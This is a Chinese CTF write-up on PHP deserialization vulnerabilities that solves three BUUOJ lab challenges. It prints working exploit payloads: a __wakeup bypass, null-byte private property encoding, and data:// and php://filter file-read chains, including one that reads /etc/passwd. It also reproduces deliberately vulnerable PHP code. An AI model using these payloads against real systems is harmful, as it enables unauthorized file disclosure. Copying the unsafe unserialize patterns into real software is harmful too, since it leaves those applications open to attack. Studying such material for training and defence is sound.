序列化与反序列化
在各类语言中,讲对象的状态信息转换为可存储或可传输的过程就是序列化,序列化的逆过程便是反序列化,主要是为了方便对象的传输,通过文件、网络等方式将序列化后的字符串进行传输,最终通过反序列化可以获取之前的对象。
PHP对象需要表达的内容较多,如类属性值得类型、值等,所以会存在一个基本格式,下面则是PHP序列化后的基本类型表达:
- 布尔值(bool):b:value=>b:0
- 整数型(int):i:value=>i:1
- 字符串型(str):s:length:“value”;=>s:4:“aaaa”
- 数组型(array):a:<length>:{key,value pairs};=>a:1:{i:1;s:1"a"}
- 对象型(object):O:<class_name_length>:
- NULL型:N
举个例子:
序列化前的函数:
<?php
class man{
public $name;
public $age;
public $height;
function __construct($name,$age,$height){
$this->name = $name;
$this->age = $age;
$this->height = $height;
}
}
$man=new man("Bob",5,20);
var_dump(serialize($man));
?>
输出:
string(67) "O:3:"man":3:{s:4:"name";s:3:"Bob";s:3:"age";i:5;s:6:"height";i:20;}"
反序列化前的函数:
<?php
class man{
public $name;
public $age;
public $height;
function __construct($name,$age,$height){
$this->name = $name;
$this->age = $age;
$this->height = $height;
}
}
$man= 'O:3:"man":3:{s:4:"name";s:3:"Bob";s:3:"age";i:5;s:6:"height";i:20;}';
var_dump(unserialize($man));
?>
输出:
object(man)
["name"]=>
string(3) "Bob"
["age"]=>
int(5)
["height"]=>
int(20)
}
反序列化漏洞的两个条件
- unserialize()函数的参数可控
- php中有可以利用的类并且类中有魔术方法
几个魔术方法
- _construct():创建对象时初始化
- _destruction():结束时销毁对象
- _toString():对象被当作字符串时使用
- _sleep():序列化对象之前调用
- _wakeup():反序列化之前调用
- _call():调用对象不存在时使用
- _get():调用私有属性时使用
[极客大挑战 2019]PHP
题目中说作者有备份网站的好习惯,那我们来扫一下目录
python3 dirsearch.py -u http://7b1a76dd-1b5d-42f9-869f-f01e5ff9e954.node4.buuoj.cn:81/ -e php
可以扫到[22:17:03] 200 - 6KB - /www.zip 这个目录
打开该压缩包,查看源码
index.php
<!DOCTYPE html>
<head>
<meta charset="UTF-8">
<title>I have a cat!</title>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/meyer-reset/2.0/reset.min.css">
<link rel="stylesheet" href="style.css">
</head>
<style>
#login{
position: absolute;
top: 50%;
left:50%;
margin: -150px 0 0 -150px;
width: 300px;
height: 300px;
}
h4{
font-size: 2em;
margin: 0.67em 0;
}
</style>
<body>
<div id="world">
<div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 85%;left: 440px;font-family:KaiTi;">因为每次猫猫都在我键盘上乱跳,所以我有一个良好的备份网站的习惯
</div>
<div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 80%;left: 700px;font-family:KaiTi;">不愧是我!!!
</div>
<div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 70%;left: 640px;font-family:KaiTi;">
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>
</div>
<div style="position: absolute;bottom: 5%;width: 99%;"><p align="center" style="font:italic 15px Georgia,serif;color:white;"> Syclover @ cl4y</p></div>
</div>
<script src='http://cdnjs.cloudflare.com/ajax/libs/three.js/r70/three.min.js'></script>
<script src='http://cdnjs.cloudflare.com/ajax/libs/gsap/1.16.1/TweenMax.min.js'></script>
<script src='https://s3-us-west-2.amazonaws.com/s.cdpn.io/264161/OrbitControls.js'></script>
<script src='https://s3-us-west-2.amazonaws.com/s.cdpn.io/264161/Cat.js'></script>
<script src="index.js"></script>
</body>
</html>
阅读代码可知,里面加载了一个class.php文件,然后采用get传递一个select参数,随后将之反序列化
class.php
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
阅读代码可以知道,如果password=100,username=admin,在执行__destruct()的时候可以获得flag
接下来我们构造序列化
<?php
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
}
$a = new Name('admin', 100);
var_dump(serialize($a));
?>
运行之后得到
O:4:"Name":2:{s:14:" Name username";s:5:"admin";s:14:" Name password";i:100;}
到此步,我们遇到了问题,在反序列化的时候会首先执行__wakeup() 魔术方法,但是这个方法会把我们的username重新赋值,所以我们要考虑的就是怎么跳过__wakeup() ,而去执行__destruct
查找资料可以得知
在反序列化字符串时,属性个数的值大于实际属性个数时,会跳过 __wakeup()函数的执行
因此构造下面的序列化
O:4:"Name":3:{s:14:" Name username";s:5:"admin";s:14:" Name password";i:100;}
这时,我们还需要修改序列化
private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上0的前缀。字符串长度也包括所加前缀的长度
修改为下面的序列化
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
构造url:
?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
输入后即可得到flag
总结一下知识点
public、protected与private在序列化时的区别
<?php
class aaa{
public $temp=111;
public $filename="test_a";
}
class bbb{
protected $temp=222;
protected $filename="test_b";
}
class ccc{
private $temp=333;
private $filename="test_c";
}
echo serialize(new aaa());
echo '<br/>';
echo serialize(new bbb());
echo '<br/>';
echo serialize(new ccc());
echo '<br/>';
?>
输出的结果是:
O:3:"aaa":2:{s:2:"temp";i:111;s:8:"filename";s:6:"test_a";}
O:3:"bbb":2:{s:5:"%00*%00temp";i:222;s:11:"%00*%00filename";s:6:"test_b";}
O:3:"ccc":2:{s:7:"%00ccc%00temp";i:333;s:13:"%00ccc%00filename";s:6:"test_c";}
结论:
-
public无标记,变量名不变,长度不变: s:2:“op”;i:2; -
protected在变量名前添加标记%00*%00,长度+3: s:5:"%00*%00temp";i:2;
protected 声明的字段为保护字段,在所声明的类和该类的子类中可见,但在该类的对象实例中不可见。因此保护字段的字段名在序列化时,字段名前面会加上*的前缀。这里的 表示 ASCII 码为 0 的字符(不可见字符),而不是组合。这也许解释了,为什么如果直接在网址上,传递username会报错,因为实际上并不是,只是用它来代替ASCII值为0的字符。必须用python传值才可以。
-
private在变量名前添加标记%00(classname)%00,长度+2+类名长度: s:7:"%00ccc%00temp";i:2;
private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上的前缀。字符串长度也包括所加前缀的长度。其中 字符也是计算长度的。
__wakeup()方法绕过
函数作用:与__sleep()函数相反,__sleep()函数,是在序序列化时被自动调用。__wakeup()函数,在反序列化时,被自动调用。
绕过方法:当反序列化字符串,表示属性个数的值大于真实属性个数时,会跳过 __wakeup 函数的执行。
[ZJCTF 2019]NiZhuanSiWei
打开靶机之后,给出了一段源码
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file);
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
读取源码后,我们需要考虑三个绕过点
-
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))
这里需要我们传入一个文件且其内容为welcome to the zjctf ,这样的话往后面看没有其他可以利用的点,我们就无法写入文件再读取,就剩下了一个data伪协议。data协议通常是用来执行PHP代码,然而我们也可以将内容写入data协议中,然后让file_get_contents函数取读取。所以构造下面的url: text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
-
$file = $_GET["file"];
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file);
$password = unserialize($password);
echo $password;
}
file参数可控,但是无法直接读取flag,可以直接读取/etc/passwd,但针对php文件我们需要进行base64编码,否则读取不到其内容,所以不能直接构造file=useless.php ,应该采用filter协议来读取源码,构造下面的url php://filter/read=convert.base64-encode/resource=useless.php
根据题意,构造
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php
查看信息后得到一串base64编码,解码后得到如下代码:
<?php
class Flag{
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
-
$password = $_GET["password"];
include($file);
$password = unserialize($password);
echo $password;
这里的file是可控的,在本地测试后有执行下面代码即可出现payload 执行如下代码: <?php
class Flag{
public $file="flag.php";
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$a = new Flag();
echo serialize($a);
?>
输出后得到: O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
所以最后构造payload:
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:%22Flag%22:1:%7Bs:4:%22file%22;s:8:%22flag.php%22;%7D
或者
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
查看源码后的到flag
知识点总结
-
data协议 php5.2.0起,数据流封装器开始有效,主要用于数据流的读取。如果传入的数据是PHP代码,就会执行代码 使用方法:data://text/plain;base64,xxxx(base64编码后的数据) data伪协议只有在php<5.3且include=on时可以写木马。 示例:打印 data:// 的内容 <?php
?>
-
php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filter 和php://input php://filter 用于读取源码 php://input 用于执行php代码。
[网鼎杯 2020 青龙组]AreUSerialz
打开靶机,给出了源码
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
分析代码:
-
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
该段代码告诉我们,首先通过GET方式获得字符串str,若str中没有不可打印的字符,则对字符进行反序列化操作。 -
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
is_valid() 函数对传入的字符串进行判断,确保每一个字符ASCII码值都在32-125,即该函数的作用是确保参数字符串的每一个字符都是可打印的,才返回true。
- ASCII 打印字符:数字 32–126 分配给了能在键盘上找到的字符,当您查看或打印文档时就会出现。注:十进制32代表空格 ,十进制数字 127 代表 DELETE 命令。下面是ASCII码和相应数字的对照表
-
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
分析FileHandler 可以看到,在反序列化的过程中,调用__destruct析构方法 ,op使用强类型比较=== 判断this->op 的值是否等于字符串2,如果等于,则将其置为1。之后执行process()方法 。 function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
进入process()方法 中,则使用弱类型比较== 判断op的值是否对等于字符串2,若为真,则执行read()方法 与output()方法 filename是我们可以控制的,接着使用file_get_contents函数读取文件,我们此处借助php://filter伪协议读取文件,获取到文件后使用output函数输出 public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
若为假,op==“1”,则进入write函数 private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
所以我们只要令op=2,这里的2是整数int。当op=2时,op==="2"为false,op=="2"为true,就可以进入read()函数
那么现在遇到了一个新的问题,$op,$filename,$content三个变量权限都是protected,而protected权限的变量在序列化的时会有%00*%00字符,%00字符的ASCII码为0,就无法通过上面的is_valid函数 校验。
其中星号就代表不可打印字符%00
有两种绕过方法:
-
PP7.1以上版本对属性类型不敏感,public属性序列化不会出现不可见字符,可以用public属性来绕过 <?php
class FileHandler {
public $op = 2;
public $filename = "flag.php";
public $content;
}
$a = new FileHandler();
$b = serialize($a);
echo $b;
?>
- private属性序列化的时候会引入两个\x00,注意这两个\x00就是ascii码为0的字符。这个字符显示和输出可能看不到,甚至导致截断,但是url编码后就可以看得很清楚了。同理,protected属性会引入\x00*\x00。此时,为了更加方便进行反序列化Payload的传输与显示,我们可以在序列化内容中用大写S表示字符串,此时这个字符串就支持将后面的字符串用16进制表示。
构造payload:?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}
查看源码即可得到flag
或者
?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}
解码后得到flag
比赛的时候还有相对路径和绝对路径的问题,需要拿到绝对路径才能读取flag
可以先尝试读取**/etc/passwd**检验自己的payload是否正确,然后再读取服务器上的配置文件,猜出flag.php所在的绝对路径,再将其读取。
?str=O:11:%22FileHandler%22:3:{s:2:%22op%22;i:2;s:8:%22filename%22;s:60:%22php://filter/read=convert.base64-encode/resource=/etc/passwd%22;s:7:%22content%22;N;}
下面这个payload是比赛的时候用的,buuoj上环境路径不一样。
?str=O:11:%22FileHandler%22:3:{s:2:%22op%22;i:2;s:8:%22filename%22;s:67:%22php://filter/read=convert.base64-encode/resource=/web/html/flag.php%22;s:7:%22content%22;N;}
|